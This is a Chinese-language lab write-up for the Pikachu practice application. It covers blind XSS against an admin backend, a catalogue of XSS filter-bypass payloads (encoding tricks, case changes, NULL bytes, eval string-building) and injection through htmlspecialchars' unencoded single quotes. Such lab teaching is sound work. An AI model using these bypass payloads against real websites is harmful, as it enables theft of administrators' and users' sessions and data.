Pikachu-XSS盲打、过滤、htmlspecialchars

一、XSS盲打

什么是xss盲打？

盲打只是一种惯称的说法，就是不知道后台不知道有没有xss存在的情况下，不顾一切的输入xss代码在留言啊，feedback啊之类的地方，尽可能多的尝试xss的语句与语句的存在方式，就叫盲打。

  “xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下，网站采用了攻击者插入了带真实攻击功能的xss攻击代码（通常是使用script标签引入远程的js）的数据。当未知后台在展现时没有对这些提交的数据进行过滤，那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。

 通俗讲就是见到输入框就输入提前准备的xss代码， 通常是使用script标签引入远程的js代码，当有后台人员审核提交数据时候，点击了提交的数据，触发获取到有价值信息 。

实验：

我们随便输入点东西：

我们再输入弹窗试试看又什么现象：<script>alert('你中招了')</script>   我们发现并没有我们想要的弹窗，那是不是预示着我们就失败了。答案是否定的。。。。

  

我们前面也提到了，盲打是将指令输入到后台，在管理员不知情的情况下触碰执行，我们模拟管理员登陆后台，看看后台的界面是否会把我们输入的内容输出：

点击提示，模拟下后台登陆，输入账号admin 密码123456

 我们看到后台中招了：

二、XSS之过滤　　

XSS过滤的绕过

脚本标签

如果script被过滤的话，可以使用伪协议的方法：

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

其中PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==为base64编码的<script>alert(1)</script>

事件处理器

不需要用户交互的可执行js的事件处理器：

　　onreadystatechange（xml，style，iframe，object，img，input，isindex，bground）
　　onpropertychange
　　onbeforeactivate
　　onfocusin
　　onactivate
注意：在HTML5中，结束标签中也可以使用事件处理器

脚本伪协议

脚本伪协议可以用在各种位置，在需要URL的属性中执行行内脚本,如：

<object data=javascript:alert(1)>

标签名称

通过改变标签名称的大小写，可以避开最简单的过滤：

<iMg onerror=alert(1) src=a>

更进一步，可以在任何位置插入NULL字节：

<[%00]img onerror=alert(1) src=a>

<i[%00]mg onerror=alert(1) src=a>

或者，可以将标签作一改变，即可避开仅仅阻止特定标签名的过滤：

<x onclick=alert(1) src=a>Click here</x>

标签名称后的空格

可以使用：/,[%09],[%0d],[%0a],/”,/’来代替,如：

<img/onerror=alert(1) src=a>

通过HTML编码绕过过滤（也可以使用十进制&#114，十六进制&#x114）

使用HTML编码，在进一步处理属性值的时候，浏览器会对其进行HTML解码：

<img onerror=a&#x6c;ert(1) src=a>

如果存在两次URL解码

可以通过构造：

%253cimg%20onerror=alert(1)%20src=a%253e

第一次URL解码以后：

%3cimg onerror=alert(1) src=a%3e

第二次URL解码以后：

<img onerror=alert(1) src=a>

字符集绕过

UTF-7，US-ASCII，UTF-16（这种方法只有在浏览器支持所用的字符集才可以，或者你可以控制HTTPContent-Type消息头）

使用js转义

Unicode转义可以用于表示js关键词中的字符

<script>au006cert(1);</script>

通过eval命令来动态构建字符串

<script>eval('al'+'ert(1)');</script>

替代eval的方法

`<script>'alert(1)'.replace(/.+/,eval)</script>`

　　　　　　　　　　　　　　　　　

xss绕过-过滤-转换方法：（方法借鉴里面有详细举例）

１.直接ｆ１２修改前端的限制，例如长度。

２.大小写混合：<SCRIpt>ALErt(11)<SCRipt>

３.拼凑:<scr<script>ipt>alert(11)</sc<script>ript>

４.注释符：<scr<!--text-->ipt>alert(11)</sc<!--text-->ript>

5、编码的方式，但是在使用时要注意是否会被输出点识别和翻译，不然绕过了也没有用。

演示实验：

大小写绕过

<ScripT>alert('lili')</ScripT>

img标签

<img src=x onerror="alert('img标签')">

三、xss之htmlspecialchars()函数　　　　　　　　　　　

htmlspecialchars函数

htmlspecialchars(string,flags,character-set,double_encode)
//可用的引号类型：
ENT_COMPAT - 仅编码双引号(默认)。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。

ps:$test = htmlspecialchars($name, ENT_QUOTES);
次函数是把预定义字符转换为HTML实体：
&（和号）--&amp
"(单引号)--&quot
'（单引号）--&#039
<(小于)--&lt
>(大于)--&gt

htmlspecialchars()函数默认只编码双引号，当开发者未对单引号过滤时，就会可能导致XSS的发生

开始我们的实验：

我们先看一下后台的源码：我么很容易发现没有过滤单引号，那么漏洞来了。。。

输入　　lili'"<>&    提交，查看网页源码ctrl+g搜lili

可以看到没有对单引号做处理（这里可能就是用的默认的htmlspecialchars来做的后端过滤）

输入' onclick='alert(999)'

好了结束！